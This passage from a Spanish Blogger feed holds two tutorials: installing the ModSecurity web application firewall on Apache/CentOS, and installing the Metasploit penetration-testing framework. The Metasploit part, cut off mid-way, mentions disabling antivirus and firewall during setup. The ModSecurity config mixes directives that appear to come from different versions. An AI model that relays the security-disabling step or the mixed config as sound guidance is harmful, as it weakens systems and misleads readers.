&lt;b&gt;modSecurity™&lt;/b&gt; para Apache es un producto desarrollado por Breach Security. &lt;b&gt;modSecurity™&lt;/b&gt; está disponible como Software Libre bajo la licencia GNU General Public License, a su vez, se encuentra disponible bajo diversas licencias comerciales.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;modSecurity™&lt;/b&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;filtra ataques por XSS, SQL Injection, comportamientos anómalos en protocolos, robots, troyanos, LFI … incorporando además reglas específicas para algunos de los gestores de contenido o CMS más populares como Joomla o WordPress.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Soporta integración con &lt;b&gt;ModProxy &lt;/b&gt;por lo que podemos proteger aplicaciones desplegadas en otros servidores gracias a esta integración.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Además&amp;nbsp;&lt;b&gt;modSecurity™&amp;nbsp;&lt;/b&gt;cuenta con una consola de administración que permite recopilar registros de motorización y&amp;nbsp;alertas en tiempo real así como de opciones automatizadas de mantenimiento, entre otras características&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;http://openwebinars.net/media/2013/09/modsecurity.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://openwebinars.net/media/2013/09/modsecurity.jpeg&quot; height=&quot;513&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Instalación de modSecurity&amp;nbsp;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Las descargas necesarias podemos realizar desde la web oficial del proyecto http://www.modsecurity.org/&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
Lo primero que hacemos es descargarlo cambien la X por la versión Actual en nuestro caso descargaremos la version &lt;b&gt;2.5.13&lt;/b&gt;:&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;&quot;&gt;$ wget http://www.modsecurity.org/download/modsecurity-apache_X.X.X.tar.gz&lt;/pre&gt;
&lt;div&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
Descomprimimos y nos ubicamos en la carpeta apache2 (para versiones 2 de Apache):&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;&quot;&gt;$ tar -xzvf modsecurity-apache_2.5.13.tar.gz 
$cd modsecurity-apache_2.5.13/apache2&lt;/pre&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
Compilamos, en este caso la configuración me ha obligado a especificar la ruta tanto de apxs como de &lt;b&gt;apr-config y apu-config&lt;/b&gt;:&lt;/div&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
&lt;span style=&quot;line-height: 25.6000003814697px;&quot;&gt;A la hora de&amp;nbsp;&lt;/span&gt;instalar mod_security&lt;span style=&quot;line-height: 25.6000003814697px;&quot;&gt;&amp;nbsp;en sistemas de 64 bits podemos encontrarnos con problemas al intentar hacerlo a través de&amp;nbsp;&lt;/span&gt;apxs&lt;span style=&quot;line-height: 25.6000003814697px;&quot;&gt;. Por ello, tenemos que recurrimos a la instalación mediante compilación.&lt;/span&gt;&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;&quot;&gt;# ./configure --with-apxs=/usr/local/apache/bin/apxs \
 --with-apr=/usr/local/apache/bin/apr-1-config \
 --with-apu=/usr/local/apache/bin/apu-1-config&lt;/pre&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
Si no recibimos ningún error compilamos:&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;&quot;&gt;# make&lt;/pre&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
E instalamos:&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;&quot;&gt;# make install&lt;/pre&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
Llega el momento de añadir a &lt;b&gt;httpd.conf&lt;/b&gt; la carga de los módulos necesarios y la llamada al fichero de configuración:&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;&quot;&gt;LoadFile /usr/lib/libxml2.so
LoadModule security2_module modules/mod_security2.so&lt;/pre&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
Y la llamada al fichero de configuración que podéis llamar como queráis:&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px; text-align: justify;&quot;&gt;Include conf/modsec2.conf&lt;/pre&gt;
&lt;div style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px; text-align: justify;&quot;&gt;
Ya quedará únicamente crear o copiar el fichero &lt;b&gt;modsec2.conf&lt;/b&gt; y copiar las reglas que queramos a la ruta deseada.&lt;/div&gt;
&lt;div class=&quot;entry&quot; style=&quot;background-color: white; color: #3f3f3f; font-family: Arial, Helvetica, sans-serif; font-size: 13px; line-height: 18.8159999847412px; margin: 0px; padding: 0px 3px; text-align: justify;&quot;&gt;
&lt;div style=&quot;font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px;&quot;&gt;
&lt;b&gt;modsec2.conf:&lt;/b&gt;&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px;&quot;&gt;&lt;ifmodule mod_security2.c=&quot;&quot;&gt;
SecRuleEngine On
SecFilterCheckURLEncoding On
SecFilterForceByteRange 0 255
SecAuditEngine RelevantOnly
SecAuditLog logs/modsec_audit.log
SecDebugLog logs/modsec_debug_log
SecDebugLogLevel 0
SecDefaultAction &quot;phase:2,deny,log,status:403&quot;
#Redireccion a html de seguridad
ErrorDocument 403 http://rm-rf.es/fallo_seguyridad.html
SecRule REMOTE_ADDR &quot;^127.0.0.1$&quot; nolog,allow
#Includes de configuracion
Include &quot;/usr/local/apache/conf/modsecurity_rules/*.conf&quot;
&lt;/ifmodule&gt;&lt;/pre&gt;
&lt;div style=&quot;font-size: 16px; line-height: 1.6em; margin-bottom: 10px; margin-top: 10px; padding: 0px;&quot;&gt;
Finalmente comprobamos que la sintaxis de los ficheros de configuración es correcta y ya podemos arrancar &lt;b&gt;Apache &lt;/b&gt;y hacer pruebas con &lt;b&gt;mod_security&lt;/b&gt;:&lt;/div&gt;
&lt;pre style=&quot;background-color: #f2f2f2; border-color: rgb(204, 204, 204); border-style: solid; border-width: 1px 1px 1px 4px; color: #333333; font-size: 12px; font-stretch: normal; line-height: 1.4em; margin-bottom: 15px; margin-top: 15px; overflow: auto; padding: 11px;&quot;&gt;# /etc/init.d/httpd configtest
Syntax OK&lt;/pre&gt;
&lt;form class=&quot;sociallikes-livejournal-form&quot; style=&quot;margin: 0px; padding: 0px;&quot;&gt;
&lt;/form&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/7954873795130079581/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/instalacion-del-modsecurity-en-apache.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/7954873795130079581'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/7954873795130079581'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2014/11/instalacion-del-modsecurity-en-apache.html' title='Instalación del modSecurity en apache (CentOS)'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgk3MPAFnjA6OXhY9TOziI9sIfvgm-urs7P0rWXZ0Tm-YvZv528eGY3t1FIyH6Qh_6vjlrxjMg6L186dYTWrLPd6oE49EF4S1HvuoBLiKTrct80ZdzOQxT7_QJOinMbzbUMoHGjPCecn8M/s72-c/ModSecurityLogo.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-6778532361635821942</id><published>2014-11-07T13:06:00.000-05:00</published><updated>2015-03-21T22:05:47.089-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="ethical hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="herramientas"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="metasploit"/><category scheme="http://www.blogger.com/atom/ns#" term="tutoriales"/><category scheme="http://www.blogger.com/atom/ns#" term="windows"/><title type='text'>Instalación de metasploit (Linux-Windows)</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1mgRzrLIxllZ-Vx4ejXoKs3Uz7_9BIViJDULuLvAvCbyPqbPCkKqgBVP7qnTZhx6nH6-B6j0jA2Gh1jg5jCJOK1g7uy26NM57rz78_cKxshDkNzRI6Ll8aR_yxjrrsOS9IS8T41CliS4/s1600/metasploit.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1mgRzrLIxllZ-Vx4ejXoKs3Uz7_9BIViJDULuLvAvCbyPqbPCkKqgBVP7qnTZhx6nH6-B6j0jA2Gh1jg5jCJOK1g7uy26NM57rz78_cKxshDkNzRI6Ll8aR_yxjrrsOS9IS8T41CliS4/s1600/metasploit.png&quot; height=&quot;97&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Hola Gente hoy veremos como instalar &lt;b&gt;Metasploit Framework&lt;/b&gt;&amp;nbsp;individualmente de un distro contenedora como son &lt;b&gt;Kali, Backtrack, &lt;/b&gt;Etc...&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;INSTALACIÓN&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&amp;nbsp;METASPLOIT LINUX (CENTOS 64BITS)&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: center;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Primero que todo descargamos nuestra versión de&amp;nbsp;&lt;b&gt;Metasploit &lt;/b&gt;desde la &lt;a href=&quot;http://metasploit.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;web oficial&lt;/a&gt;&amp;nbsp;para nuestro linux en este caso una distro CntOS 6.3 de 64 bits.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En la web encontraremos lo siguiente selecionamos y descargamos.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGif167dcMvZM42tvrL-72s3_OwF9C1Gsf_P_KlAMPPtQErIDbPAMvIxI6FzFLWIbpHanguwdQ3c9At5I9XSXcELY9Dnh8_4NLp3hKu5slTtw4Xm2fjtjo6JOvpZzlFS-QXb5xffEXUGE/s1600/metasploit-download.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGif167dcMvZM42tvrL-72s3_OwF9C1Gsf_P_KlAMPPtQErIDbPAMvIxI6FzFLWIbpHanguwdQ3c9At5I9XSXcELY9Dnh8_4NLp3hKu5slTtw4Xm2fjtjo6JOvpZzlFS-QXb5xffEXUGE/s1600/metasploit-download.png&quot; height=&quot;173&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[antony@localhost ~]$&lt;/span&gt;wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run
&lt;/pre&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: justify;&quot;&gt;
Una vez descargado otorgamos permisos de ejecución al archivo.&lt;/div&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .12em .12em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[antony@localhost ~]$&lt;/span&gt;chmod +x metasploit-latest-linux-x64-installer.run
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Ejecutamos para iniciar la instalación.&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .12em .12em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[antony@localhost ~]$&lt;/span&gt;sudo ./metasploit-latest-linux-x64-installer.run
&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
A continuación se inicia el wizard de instalación.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNpfY5fgNLzko9yCBQen1ayTkJis8EdgoBoma44XKNLQ4XqPPPeWbyH8jKciHn6lJj5HjYnkZUmrEm1151Ti5ILICkzs1h58r8Sp8MBAfZnYGHm4LJ9skvZwqbVCXbQRbt2E_Qb40j12M/s1600/Sin+t%C3%ADtulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNpfY5fgNLzko9yCBQen1ayTkJis8EdgoBoma44XKNLQ4XqPPPeWbyH8jKciHn6lJj5HjYnkZUmrEm1151Ti5ILICkzs1h58r8Sp8MBAfZnYGHm4LJ9skvZwqbVCXbQRbt2E_Qb40j12M/s1600/Sin+t%C3%ADtulo.png&quot; height=&quot;414&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Hacemos clic en &lt;b&gt;Forward &lt;/b&gt;y continuamos con la instalación.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipQBJaeSSDXLAmmoo5WeCU3Y2mINKLqG5IYXrl_NMx-q-Wmr-XySt3tAONWHf_ZqqhYbJCeEafmTTL8WkhhW5Yvdtusr0Usi-a_DWHK0bG-mke6YK49XVGslMXptvENcnCBlC2xET-0Gk/s1600/license.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipQBJaeSSDXLAmmoo5WeCU3Y2mINKLqG5IYXrl_NMx-q-Wmr-XySt3tAONWHf_ZqqhYbJCeEafmTTL8WkhhW5Yvdtusr0Usi-a_DWHK0bG-mke6YK49XVGslMXptvENcnCBlC2xET-0Gk/s1600/license.png&quot; height=&quot;480&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Seleccionamos la ruta de instalación yo optare por la recomendada o default.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga2AiLdJmMUuF6R5jUkpHdNLVr8KQqYKeF7Qs-a8WZ1aL9J4nXC2aIzMZHlYYmKhJ-jL58VeJr2gCDrIYuUok4AzoOOdxnbtbhTTDdFpA8r5lUQjfBnl2PEuFO8uiUbmXqQi_04acn9Wo/s1600/folder.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEga2AiLdJmMUuF6R5jUkpHdNLVr8KQqYKeF7Qs-a8WZ1aL9J4nXC2aIzMZHlYYmKhJ-jL58VeJr2gCDrIYuUok4AzoOOdxnbtbhTTDdFpA8r5lUQjfBnl2PEuFO8uiUbmXqQi_04acn9Wo/s1600/folder.png&quot; height=&quot;478&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ahora podemos seleccionar si queremos registrar &lt;b&gt;Metasploit&lt;/b&gt; como un servicio. De esta manera automáticamente se inicia cada vez que se enciende la máquina.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXu6j6vEBbj0sqmhieSNunpvPihf1acweBXVBMPuaLBY9I6a6uOY0IsB8aIxVc9w5mEnltJBe2acuYH6yQwAszYH-tu5IFHm6ApedYilvy_bDf-uLn-93EEhlf492kZZIis1PJMud5ps/s1600/service.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXXu6j6vEBbj0sqmhieSNunpvPihf1acweBXVBMPuaLBY9I6a6uOY0IsB8aIxVc9w5mEnltJBe2acuYH6yQwAszYH-tu5IFHm6ApedYilvy_bDf-uLn-93EEhlf492kZZIis1PJMud5ps/s1600/service.png&quot; height=&quot;480&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Nos pide deshabilitar antivirus y firewall para evitar conflictos.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIXaCFFLLyZJzoXfQWUHI4WBC1_rTgqpVXnwJtNQVzVV2CbQjzJ5guQaGRu84S6LJJbLeK5shTuI5SEvJZqQWKUAqyw0d32m12dnqNdkSeUHhyphenhyphenlleK4Jgcm5a9kihJ5YDGqSMe4XF3HmQ/s1600/deshabilitarAV.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjIXaCFFLLyZJzoXfQWUHI4WBC1_rTgqpVXnwJtNQVzVV2CbQjzJ5guQaGRu84S6LJJbLeK5shTuI5SEvJZqQWKUAqyw0d32m12dnqNdkSeUHhyphenhyphenlleK4Jgcm5a9kihJ5YDGqSMe4XF3HmQ/s1600/deshabilitarAV.png&quot; height=&quot;480&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
En la siguiente ventana nos pedira seleccionar el puerto SSL de conexion por default es el 3790.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsrdgq2uCHM5m3LffbNkr5GGKNdWCfAMYa2nyLVXn_Ax5wUlV4OmYZeXD338jh6SKjiT2i28P1n-OfMqoCEBVdIw8I-PXqIgqA5CJbcruY28P6twVQuTWZGWw7v9Q705GLNJ5EOfKJxcE/s1600/puerto.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsrdgq2uCHM5m3LffbNkr5GGKNdWCfAMYa2nyLVXn_Ax5wUlV4OmYZeXD338jh6SKjiT2i28P1n-OfMqoCEBVdIw8I-PXqIgqA5CJbcruY28P6twVQuTWZGWw7v9Q705GLNJ5EOfKJxcE/s1600/puerto.png&quot; height=&quot;482&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
en la siguiente ventana nos pedira generar el certificado SSL y su caducidad. selecionamos que si y en mi caso dejo todo x defecto.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLzAjB-nUMbUiQ4e5lssO_DCYY_iNr99n6h9bwO7jdy_dNWJHQ6lZaCXiScIc_EVJUtHhugwTLd7VAIRUtsyKJaZhijh5Q220_MP_dLwzCivdWwXE6SXm0kcSBomolwJvrFwXJcSBZvLw/s1600/cert.SSL.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLzAjB-nUMbUiQ4e5lssO_DCYY_iNr99n6h9bwO7jdy_dNWJHQ6lZaCXiScIc_EVJUtHhugwTLd7VAIRUtsyKJaZhijh5Q220_MP_dLwzCivdWwXE6SXm0kcSBomolwJvrFwXJcSBZvLw/s1600/cert.SSL.png&quot; height=&quot;486&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
A continuación &lt;b&gt;Metasploit &lt;/b&gt;Comenzara a instalarse.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLaDfIHZI6BErhl3mH0nZ5p9ooGBrITc3w3VWRKNyWCwlPkQoNtnMthS0htQiQ4KVaC68_EQfZoRuZyTxT-QQVfQe9t35M_C8jyKa1BXbbUClJMkW4AYjOgT3UHDoqjpXpjbXjYFJXHUQ/s1600/instalacion.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLaDfIHZI6BErhl3mH0nZ5p9ooGBrITc3w3VWRKNyWCwlPkQoNtnMthS0htQiQ4KVaC68_EQfZoRuZyTxT-QQVfQe9t35M_C8jyKa1BXbbUClJMkW4AYjOgT3UHDoqjpXpjbXjYFJXHUQ/s1600/instalacion.png&quot; height=&quot;478&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Una vez finalizada la instalación nos pedira acceder a la interfaz web de &lt;b&gt;Metasploit.&lt;/b&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
